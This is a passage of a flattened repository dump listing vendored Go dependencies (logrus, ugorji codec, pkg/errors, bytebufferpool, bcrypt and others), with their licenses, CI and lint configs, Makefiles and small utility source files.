LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 19 | THE SOFTWARE. 20 | -------------------------------------------------------------------------------- /vendor/github.com/pkg/errors/.gitignore: -------------------------------------------------------------------------------- 1 | # Compiled Object files, Static and Dynamic libs (Shared Objects) 2 | *.o 3 | *.a 4 | *.so 5 | 6 | # Folders 7 | _obj 8 | _test 9 | 10 | # Architecture specific extensions/prefixes 11 | *.[568vq] 12 | [568vq].out 13 | 14 | *.cgo1.go 15 | *.cgo2.c 16 | _cgo_defun.c 17 | _cgo_gotypes.go 18 | _cgo_export.* 19 | 20 | _testmain.go 21 | 22 | *.exe 23 | *.test 24 | *.prof 25 | -------------------------------------------------------------------------------- /vendor/github.com/pkg/errors/.travis.yml: -------------------------------------------------------------------------------- 1 | language: go 2 | go_import_path: github.com/pkg/errors 3 | go: 4 | - 1.11.x 5 | - 1.12.x 6 | - 1.13.x 7 | - tip 8 | 9 | script: 10 | - make check 11 | -------------------------------------------------------------------------------- /vendor/github.com/pkg/errors/Makefile: -------------------------------------------------------------------------------- 1 | PKGS := github.com/pkg/errors 2 | SRCDIRS := $(shell go list -f '{{.Dir}}' $(PKGS)) 3 | GO := go 4 | 5 | check: test vet gofmt misspell unconvert staticcheck ineffassign unparam 6 | 7 | test: 8 | $(GO) test $(PKGS) 9 | 10 | vet: | test 11 | $(GO) vet $(PKGS) 12 | 13 | staticcheck: 14 | $(GO) get honnef.co/go/tools/cmd/staticcheck 15 | staticcheck -checks all $(PKGS) 16 | 17 | misspell: 18 | $(GO) get github.com/client9/misspell/cmd/misspell 19 | misspell \ 20 | -locale GB \ 21 | -error \ 22 | *.md *.go 23 | 24 | unconvert: 25 | $(GO) get github.com/mdempsky/unconvert 26 | unconvert -v $(PKGS) 27 | 28 | ineffassign: 29 | $(GO) get github.com/gordonklaus/ineffassign 30 | find $(SRCDIRS) -name '*.go' | xargs ineffassign 31 | 32 | pedantic: check errcheck 33 | 34 | unparam: 35 | $(GO) get mvdan.cc/unparam 36 | unparam ./... 37 | 38 | errcheck: 39 | $(GO) get github.com/kisielk/errcheck 40 | errcheck $(PKGS) 41 | 42 | gofmt: 43 | @echo Checking code is gofmted 44 | @test -z "$(shell gofmt -s -l -d -e $(SRCDIRS) | tee /dev/stderr)" 45 | -------------------------------------------------------------------------------- /vendor/github.com/pkg/errors/appveyor.yml: -------------------------------------------------------------------------------- 1 | version: build-{build}.{branch} 2 | 3 | clone_folder: C:\gopath\src\github.com\pkg\errors 4 | shallow_clone: true # for startup speed 5 | 6 | environment: 7 | GOPATH: C:\gopath 8 | 9 | platform: 10 | - x64 11 | 12 | # http://www.appveyor.com/docs/installed-software 13 | install: 14 | # some helpful output for debugging builds 15 | - go version 16 | - go env 17 | # pre-installed MinGW at C:\MinGW is 32bit only 18 | # but MSYS2 at C:\msys64 has mingw64 19 | - set PATH=C:\msys64\mingw64\bin;%PATH% 20 | - gcc --version 21 | - g++ --version 22 | 23 | build_script: 24 | - go install -v ./... 25 | 26 | test_script: 27 | - set PATH=C:\gopath\bin;%PATH% 28 | - go test -v ./... 29 | 30 | #artifacts: 31 | # - path: '%GOPATH%\bin\*.exe' 32 | deploy: off 33 | -------------------------------------------------------------------------------- /vendor/github.com/projectdiscovery/stringsutil/LICENSE.md: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 ProjectDiscovery, Inc. 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /vendor/github.com/projectdiscovery/stringsutil/README.md: -------------------------------------------------------------------------------- 1 | # stringsutil 2 | The package contains various helpers to interact with strings -------------------------------------------------------------------------------- /vendor/github.com/sirupsen/logrus/.gitignore: -------------------------------------------------------------------------------- 1 | logrus 2 | vendor 3 | 4 | .idea/ 5 | -------------------------------------------------------------------------------- /vendor/github.com/sirupsen/logrus/.golangci.yml: -------------------------------------------------------------------------------- 1 | run: 2 | # do not run on test files yet 3 | tests: false 4 | 5 | # all available settings of specific linters 6 | linters-settings: 7 | errcheck: 8 | # report about not checking of errors in type assetions: `a := b.(MyStruct)`; 9 | # default is false: such cases aren't reported by default. 10 | check-type-assertions: false 11 | 12 | # report about assignment of errors to blank identifier: `num, _ := strconv.Atoi(numStr)`; 13 | # default is false: such cases aren't reported by default. 14 | check-blank: false 15 | 16 | lll: 17 | line-length: 100 18 | tab-width: 4 19 | 20 | prealloc: 21 | simple: false 22 | range-loops: false 23 | for-loops: false 24 | 25 | whitespace: 26 | multi-if: false # Enforces newlines (or comments) after every multi-line if statement 27 | multi-func: false # Enforces newlines (or comments) after every multi-line function signature 28 | 29 | linters: 30 | enable: 31 | - megacheck 32 | - govet 33 | disable: 34 | - maligned 35 | - prealloc 36 | disable-all: false 37 | presets: 38 | - bugs 39 | - unused 40 | fast: false 41 | -------------------------------------------------------------------------------- /vendor/github.com/sirupsen/logrus/.travis.yml: -------------------------------------------------------------------------------- 1 | language: go 2 | go_import_path: github.com/sirupsen/logrus 3 | git: 4 | depth: 1 5 | env: 6 | - GO111MODULE=on 7 | go: 1.15.x 8 | os: linux 9 | install: 10 | - ./travis/install.sh 11 | script: 12 | - cd ci 13 | - go run mage.go -v -w ../ crossBuild 14 | - go run mage.go -v -w ../ lint 15 | - go run mage.go -v -w ../ test 16 | -------------------------------------------------------------------------------- /vendor/github.com/sirupsen/logrus/LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2014 Simon Eskildsen 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. 22 | -------------------------------------------------------------------------------- /vendor/github.com/sirupsen/logrus/appveyor.yml: -------------------------------------------------------------------------------- 1 | version: "{build}" 2 | platform: x64 3 | clone_folder: c:\gopath\src\github.com\sirupsen\logrus 4 | environment: 5 | GOPATH: c:\gopath 6 | branches: 7 | only: 8 | - master 9 | install: 10 | - set PATH=%GOPATH%\bin;c:\go\bin;%PATH% 11 | - go version 12 | build_script: 13 | - go get -t 14 | - go test 15 | -------------------------------------------------------------------------------- /vendor/github.com/sirupsen/logrus/buffer_pool.go: -------------------------------------------------------------------------------- 1 | package logrus 2 | 3 | import ( 4 | "bytes" 5 | "sync" 6 | ) 7 | 8 | var ( 9 | bufferPool BufferPool 10 | ) 11 | 12 | type BufferPool interface { 13 | Put(*bytes.Buffer) 14 | Get() *bytes.Buffer 15 | } 16 | 17 | type defaultPool struct { 18 | pool *sync.Pool 19 | } 20 | 21 | func (p *defaultPool) Put(buf *bytes.Buffer) { 22 | p.pool.Put(buf) 23 | } 24 | 25 | func (p *defaultPool) Get() *bytes.Buffer { 26 | return p.pool.Get().(*bytes.Buffer) 27 | } 28 | 29 | func getBuffer() *bytes.Buffer { 30 | return bufferPool.Get() 31 | } 32 | 33 | func putBuffer(buf *bytes.Buffer) { 34 | buf.Reset() 35 | bufferPool.Put(buf) 36 | } 37 | 38 | // SetBufferPool allows to replace the default logrus buffer pool 39 | // to better meets the specific needs of an application. 40 | func SetBufferPool(bp BufferPool) { 41 | bufferPool = bp 42 | } 43 | 44 | func init() { 45 | SetBufferPool(&defaultPool{ 46 | pool: &sync.Pool{ 47 | New: func() interface{} { 48 | return new(bytes.Buffer) 49 | }, 50 | }, 51 | }) 52 | } 53 | -------------------------------------------------------------------------------- /vendor/github.com/sirupsen/logrus/doc.go: -------------------------------------------------------------------------------- 1 | /* 2 | Package logrus is a structured logger for Go, completely API compatible with the standard library logger. 3 | 4 | 5 | The simplest way to use Logrus is simply the package-level exported logger: 6 | 7 | package main 8 | 9 | import ( 10 | log "github.com/sirupsen/logrus" 11 | ) 12 | 13 | func main() { 14 | log.WithFields(log.Fields{ 15 | "animal": "walrus", 16 | "number": 1, 17 | "size": 10, 18 | }).Info("A walrus appears") 19 | } 20 | 21 | Output: 22 | time="2015-09-07T08:48:33Z" level=info msg="A walrus appears" animal=walrus number=1 size=10 23 | 24 | For a full guide visit https://github.com/sirupsen/logrus 25 | */ 26 | package logrus 27 | -------------------------------------------------------------------------------- /vendor/github.com/sirupsen/logrus/hooks/syslog/README.md: -------------------------------------------------------------------------------- 1 | # Syslog Hooks for Logrus :walrus: 2 | 3 | ## Usage 4 | 5 | ```go 6 | import ( 7 | "log/syslog" 8 | "github.com/sirupsen/logrus" 9 | lSyslog "github.com/sirupsen/logrus/hooks/syslog" 10 | ) 11 | 12 | func main() { 13 | log := logrus.New() 14 | hook, err := lSyslog.NewSyslogHook("udp", "localhost:514", syslog.LOG_INFO, "") 15 | 16 | if err == nil { 17 | log.Hooks.Add(hook) 18 | } 19 | } 20 | ``` 21 | 22 | If you want to connect to local syslog (Ex. "/dev/log" or "/var/run/syslog" or "/var/run/log"). Just assign empty string to the first two parameters of `NewSyslogHook`. It should look like the following. 23 | 24 | ```go 25 | import ( 26 | "log/syslog" 27 | "github.com/sirupsen/logrus" 28 | lSyslog "github.com/sirupsen/logrus/hooks/syslog" 29 | ) 30 | 31 | func main() { 32 | log := logrus.New() 33 | hook, err := lSyslog.NewSyslogHook("", "", syslog.LOG_INFO, "") 34 | 35 | if err == nil { 36 | log.Hooks.Add(hook) 37 | } 38 | } 39 | ``` 40 | -------------------------------------------------------------------------------- /vendor/github.com/sirupsen/logrus/terminal_check_appengine.go: -------------------------------------------------------------------------------- 1 | // +build appengine 2 | 3 | package logrus 4 | 5 | import ( 6 | "io" 7 | ) 8 | 9 | func checkIfTerminal(w io.Writer) bool { 10 | return true 11 | } 12 | -------------------------------------------------------------------------------- /vendor/github.com/sirupsen/logrus/terminal_check_bsd.go: -------------------------------------------------------------------------------- 1 | // +build darwin dragonfly freebsd netbsd openbsd 2 | // +build !js 3 | 4 | package logrus 5 | 6 | import "golang.org/x/sys/unix" 7 | 8 | const ioctlReadTermios = unix.TIOCGETA 9 | 10 | func isTerminal(fd int) bool { 11 | _, err := unix.IoctlGetTermios(fd, ioctlReadTermios) 12 | return err == nil 13 | } 14 | -------------------------------------------------------------------------------- /vendor/github.com/sirupsen/logrus/terminal_check_js.go: -------------------------------------------------------------------------------- 1 | // +build js 2 | 3 | package logrus 4 | 5 | func isTerminal(fd int) bool { 6 | return false 7 | } 8 | -------------------------------------------------------------------------------- /vendor/github.com/sirupsen/logrus/terminal_check_no_terminal.go: -------------------------------------------------------------------------------- 1 | // +build js nacl plan9 2 | 3 | package logrus 4 | 5 | import ( 6 | "io" 7 | ) 8 | 9 | func checkIfTerminal(w io.Writer) bool { 10 | return false 11 | } 12 | -------------------------------------------------------------------------------- /vendor/github.com/sirupsen/logrus/terminal_check_notappengine.go: -------------------------------------------------------------------------------- 1 | // +build !appengine,!js,!windows,!nacl,!plan9 2 | 3 | package logrus 4 | 5 | import ( 6 | "io" 7 | "os" 8 | ) 9 | 10 | func checkIfTerminal(w io.Writer) bool { 11 | switch v := w.(type) { 12 | case *os.File: 13 | return isTerminal(int(v.Fd())) 14 | default: 15 | return false 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /vendor/github.com/sirupsen/logrus/terminal_check_solaris.go: -------------------------------------------------------------------------------- 1 | package logrus 2 | 3 | import ( 4 | "golang.org/x/sys/unix" 5 | ) 6 | 7 | // IsTerminal returns true if the given file descriptor is a terminal. 8 | func isTerminal(fd int) bool { 9 | _, err := unix.IoctlGetTermio(fd, unix.TCGETA) 10 | return err == nil 11 | } 12 | -------------------------------------------------------------------------------- /vendor/github.com/sirupsen/logrus/terminal_check_unix.go: -------------------------------------------------------------------------------- 1 | // +build linux aix zos 2 | // +build !js 3 | 4 | package logrus 5 | 6 | import "golang.org/x/sys/unix" 7 | 8 | const ioctlReadTermios = unix.TCGETS 9 | 10 | func isTerminal(fd int) bool { 11 | _, err := unix.IoctlGetTermios(fd, ioctlReadTermios) 12 | return err == nil 13 | } 14 | -------------------------------------------------------------------------------- /vendor/github.com/sirupsen/logrus/terminal_check_windows.go: -------------------------------------------------------------------------------- 1 | // +build !appengine,!js,windows 2 | 3 | package logrus 4 | 5 | import ( 6 | "io" 7 | "os" 8 | 9 | "golang.org/x/sys/windows" 10 | ) 11 | 12 | func checkIfTerminal(w io.Writer) bool { 13 | switch v := w.(type) { 14 | case *os.File: 15 | handle := windows.Handle(v.Fd()) 16 | var mode uint32 17 | if err := windows.GetConsoleMode(handle, &mode); err != nil { 18 | return false 19 | } 20 | mode |= windows.ENABLE_VIRTUAL_TERMINAL_PROCESSING 21 | if err := windows.SetConsoleMode(handle, mode); err != nil { 22 | return false 23 | } 24 | return true 25 | } 26 | return false 27 | } 28 | -------------------------------------------------------------------------------- /vendor/github.com/ugorji/go/codec/LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2012-2015 Ugorji Nwoke. 4 | All rights reserved. 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all 14 | copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | SOFTWARE. 23 | -------------------------------------------------------------------------------- /vendor/github.com/ugorji/go/codec/codecgen.go: -------------------------------------------------------------------------------- 1 | // +build codecgen generated 2 | 3 | package codec 4 | 5 | // this file is here, to set the codecgen variable to true 6 | // when the build tag codecgen is set. 7 | // 8 | // this allows us do specific things e.g. skip missing fields tests, 9 | // when running in codecgen mode. 10 | 11 | func init() { 12 | codecgen = true 13 | } 14 | -------------------------------------------------------------------------------- /vendor/github.com/ugorji/go/codec/gen-enc-chan.go.tmpl: -------------------------------------------------------------------------------- 1 | {{.Label}}: 2 | switch timeout{{.Sfx}} := z.EncBasicHandle().ChanRecvTimeout; { 3 | case timeout{{.Sfx}} == 0: // only consume available 4 | for { 5 | select { 6 | case b{{.Sfx}} := <-{{.Chan}}: 7 | {{ .Slice }} = append({{.Slice}}, b{{.Sfx}}) 8 | default: 9 | break {{.Label}} 10 | } 11 | } 12 | case timeout{{.Sfx}} > 0: // consume until timeout 13 | tt{{.Sfx}} := time.NewTimer(timeout{{.Sfx}}) 14 | for { 15 | select { 16 | case b{{.Sfx}} := <-{{.Chan}}: 17 | {{.Slice}} = append({{.Slice}}, b{{.Sfx}}) 18 | case <-tt{{.Sfx}}.C: 19 | // close(tt.C) 20 | break {{.Label}} 21 | } 22 | } 23 | default: // consume until close 24 | for b{{.Sfx}} := range {{.Chan}} { 25 | {{.Slice}} = append({{.Slice}}, b{{.Sfx}}) 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /vendor/github.com/ugorji/go/codec/goversion_arrayof_gte_go15.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2012-2018 Ugorji Nwoke. All rights reserved. 2 | // Use of this source code is governed by a MIT license found in the LICENSE file. 3 | 4 | // +build go1.5 5 | 6 | package codec 7 | 8 | import "reflect" 9 | 10 | const reflectArrayOfSupported = true 11 | 12 | func reflectArrayOf(count int, elem reflect.Type) reflect.Type { 13 | return reflect.ArrayOf(count, elem) 14 | } 15 | -------------------------------------------------------------------------------- /vendor/github.com/ugorji/go/codec/goversion_arrayof_lt_go15.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2012-2018 Ugorji Nwoke. All rights reserved. 2 | // Use of this source code is governed by a MIT license found in the LICENSE file. 3 | 4 | // +build !go1.5 5 | 6 | package codec 7 | 8 | import "reflect" 9 | 10 | const reflectArrayOfSupported = false 11 | 12 | func reflectArrayOf(count int, elem reflect.Type) reflect.Type { 13 | panic("codec: reflect.ArrayOf unsupported in this go version") 14 | } 15 | -------------------------------------------------------------------------------- /vendor/github.com/ugorji/go/codec/goversion_makemap_gte_go19.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2012-2018 Ugorji Nwoke. All rights reserved. 2 | // Use of this source code is governed by a MIT license found in the LICENSE file. 3 | 4 | // +build go1.9 5 | 6 | package codec 7 | 8 | import "reflect" 9 | 10 | func makeMapReflect(t reflect.Type, size int) reflect.Value { 11 | if size < 0 { 12 | return reflect.MakeMapWithSize(t, 4) 13 | } 14 | return reflect.MakeMapWithSize(t, size) 15 | } 16 | -------------------------------------------------------------------------------- /vendor/github.com/ugorji/go/codec/goversion_makemap_lt_go19.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2012-2018 Ugorji Nwoke. All rights reserved. 2 | // Use of this source code is governed by a MIT license found in the LICENSE file. 3 | 4 | // +build !go1.9 5 | 6 | package codec 7 | 8 | import "reflect" 9 | 10 | func makeMapReflect(t reflect.Type, size int) reflect.Value { 11 | return reflect.MakeMap(t) 12 | } 13 | -------------------------------------------------------------------------------- /vendor/github.com/ugorji/go/codec/goversion_unexportedembeddedptr_gte_go110.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2012-2018 Ugorji Nwoke. All rights reserved. 2 | // Use of this source code is governed by a MIT license found in the LICENSE file. 3 | 4 | // +build go1.10 5 | 6 | package codec 7 | 8 | const allowSetUnexportedEmbeddedPtr = false 9 | -------------------------------------------------------------------------------- /vendor/github.com/ugorji/go/codec/goversion_unexportedembeddedptr_lt_go110.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2012-2018 Ugorji Nwoke. All rights reserved. 2 | // Use of this source code is governed by a MIT license found in the LICENSE file. 3 | 4 | // +build !go1.10 5 | 6 | package codec 7 | 8 | const allowSetUnexportedEmbeddedPtr = true 9 | -------------------------------------------------------------------------------- /vendor/github.com/ugorji/go/codec/goversion_unsupported_lt_go14.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2012-2018 Ugorji Nwoke. All rights reserved. 2 | // Use of this source code is governed by a MIT license found in the LICENSE file. 3 | 4 | // +build !go1.4 5 | 6 | package codec 7 | 8 | // This codec package will only work for go1.4 and above. 9 | // This is for the following reasons: 10 | // - go 1.4 was released in 2014 11 | // - go runtime is written fully in go 12 | // - interface only holds pointers 13 | // - reflect.Value is stabilized as 3 words 14 | 15 | func init() { 16 | panic("codec: go 1.3 and below are not supported") 17 | } 18 | -------------------------------------------------------------------------------- /vendor/github.com/ugorji/go/codec/goversion_vendor_eq_go15.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2012-2018 Ugorji Nwoke. All rights reserved. 2 | // Use of this source code is governed by a MIT license found in the LICENSE file. 3 | 4 | // +build go1.5,!go1.6 5 | 6 | package codec 7 | 8 | import "os" 9 | 10 | var genCheckVendor = os.Getenv("GO15VENDOREXPERIMENT") == "1" 11 | -------------------------------------------------------------------------------- /vendor/github.com/ugorji/go/codec/goversion_vendor_eq_go16.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2012-2018 Ugorji Nwoke. All rights reserved. 2 | // Use of this source code is governed by a MIT license found in the LICENSE file. 3 | 4 | // +build go1.6,!go1.7 5 | 6 | package codec 7 | 8 | import "os" 9 | 10 | var genCheckVendor = os.Getenv("GO15VENDOREXPERIMENT") != "0" 11 | -------------------------------------------------------------------------------- /vendor/github.com/ugorji/go/codec/goversion_vendor_gte_go17.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2012-2018 Ugorji Nwoke. All rights reserved. 2 | // Use of this source code is governed by a MIT license found in the LICENSE file. 3 | 4 | // +build go1.7 5 | 6 | package codec 7 | 8 | const genCheckVendor = true 9 | -------------------------------------------------------------------------------- /vendor/github.com/ugorji/go/codec/goversion_vendor_lt_go15.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2012-2018 Ugorji Nwoke. All rights reserved. 2 | // Use of this source code is governed by a MIT license found in the LICENSE file. 3 | 4 | // +build !go1.5 5 | 6 | package codec 7 | 8 | var genCheckVendor = false 9 | -------------------------------------------------------------------------------- /vendor/github.com/valyala/bytebufferpool/.travis.yml: -------------------------------------------------------------------------------- 1 | language: go 2 | 3 | go: 4 | - 1.6 5 | 6 | script: 7 | # build test for supported platforms 8 | - GOOS=linux go build 9 | - GOOS=darwin go build 10 | - GOOS=freebsd go build 11 | - GOOS=windows go build 12 | - GOARCH=386 go build 13 | 14 | # run tests on a standard platform 15 | - go test -v ./... 16 | -------------------------------------------------------------------------------- /vendor/github.com/valyala/bytebufferpool/LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2016 Aliaksandr Valialkin, VertaMedia 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | 23 | -------------------------------------------------------------------------------- /vendor/github.com/valyala/bytebufferpool/README.md: -------------------------------------------------------------------------------- 1 | [![Build Status](https://travis-ci.org/valyala/bytebufferpool.svg)](https://travis-ci.org/valyala/bytebufferpool) 2 | [![GoDoc](https://godoc.org/github.com/valyala/bytebufferpool?status.svg)](http://godoc.org/github.com/valyala/bytebufferpool) 3 | [![Go Report](http://goreportcard.com/badge/valyala/bytebufferpool)](http://goreportcard.com/report/valyala/bytebufferpool) 4 | 5 | # bytebufferpool 6 | 7 | An implementation of a pool of byte buffers with anti-memory-waste protection. 8 | 9 | The pool may waste limited amount of memory due to fragmentation. 10 | This amount equals to the maximum total size of the byte buffers 11 | in concurrent use. 12 | 13 | # Benchmark results 14 | Currently bytebufferpool is fastest and most effective buffer pool written in Go. 15 | 16 | You can find results [here](https://omgnull.github.io/go-benchmark/buffer/). 17 | 18 | # bytebufferpool users 19 | 20 | * [fasthttp](https://github.com/valyala/fasthttp) 21 | * [quicktemplate](https://github.com/valyala/quicktemplate) 22 | -------------------------------------------------------------------------------- /vendor/github.com/valyala/bytebufferpool/doc.go: -------------------------------------------------------------------------------- 1 | // Package bytebufferpool implements a pool of byte buffers 2 | // with anti-fragmentation protection. 3 | // 4 | // The pool may waste limited amount of memory due to fragmentation. 5 | // This amount equals to the maximum total size of the byte buffers 6 | // in concurrent use. 7 | package bytebufferpool 8 | -------------------------------------------------------------------------------- /vendor/github.com/x-cray/logrus-prefixed-formatter/.gitignore: -------------------------------------------------------------------------------- 1 | # Compiled Object files, Static and Dynamic libs (Shared Objects) 2 | *.o 3 | *.a 4 | *.so 5 | 6 | # Folders 7 | _obj 8 | _test 9 | 10 | # Architecture specific extensions/prefixes 11 | *.[568vq] 12 | [568vq].out 13 | 14 | *.cgo1.go 15 | *.cgo2.c 16 | _cgo_defun.c 17 | _cgo_gotypes.go 18 | _cgo_export.* 19 | 20 | _testmain.go 21 | 22 | *.exe 23 | *.test 24 | *.prof 25 | 26 | # IDEA files 27 | .idea 28 | *.iml 29 | 30 | # OS X 31 | .DS_Store 32 | 33 | # Unit testing 34 | *.coverprofile 35 | -------------------------------------------------------------------------------- /vendor/github.com/x-cray/logrus-prefixed-formatter/.travis.yml: -------------------------------------------------------------------------------- 1 | language: go 2 | 3 | go: 4 | - 1.5 5 | - 1.6 6 | - 1.7 7 | 8 | install: 9 | - make deps 10 | 11 | script: 12 | - make test 13 | 14 | sudo: false 15 | -------------------------------------------------------------------------------- /vendor/github.com/x-cray/logrus-prefixed-formatter/LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2017 Denis Parchenko 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /vendor/github.com/x-cray/logrus-prefixed-formatter/Makefile: -------------------------------------------------------------------------------- 1 | NAME=logrus-prefixed-formatter 2 | PACKAGES=$(shell go list ./...) 3 | 4 | deps: 5 | @echo "--> Installing dependencies" 6 | @go get -d -v -t ./... 7 | 8 | test-deps: 9 | @which ginkgo 2>/dev/null ; if [ $$? -eq 1 ]; then \ 10 | go get -u -v github.com/onsi/ginkgo/ginkgo; \ 11 | fi 12 | 13 | test: test-deps 14 | @echo "--> Running tests" 15 | @ginkgo -r --randomizeAllSpecs --randomizeSuites --failOnPending --cover --trace --race 16 | 17 | format: 18 | @echo "--> Running go fmt" 19 | @go fmt $(PACKAGES) 20 | -------------------------------------------------------------------------------- /vendor/golang.org/x/crypto/AUTHORS: -------------------------------------------------------------------------------- 1 | # This source code refers to The Go Authors for copyright purposes. 2 | # The master list of authors is in the main Go distribution, 3 | # visible at https://tip.golang.org/AUTHORS. 4 | -------------------------------------------------------------------------------- /vendor/golang.org/x/crypto/CONTRIBUTORS: -------------------------------------------------------------------------------- 1 | # This source code was written by the Go contributors. 2 | # The master list of contributors is in the main Go distribution, 3 | # visible at https://tip.golang.org/CONTRIBUTORS. 4 | -------------------------------------------------------------------------------- /vendor/golang.org/x/crypto/bcrypt/base64.go: -------------------------------------------------------------------------------- 1 | // Copyright 2011 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | package bcrypt 6 | 7 | import "encoding/base64" 8 | 9 | const alphabet = "./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" 10 | 11 | var bcEncoding = base64.NewEncoding(alphabet) 12 | 13 | func base64Encode(src []byte) []byte { 14 | n := 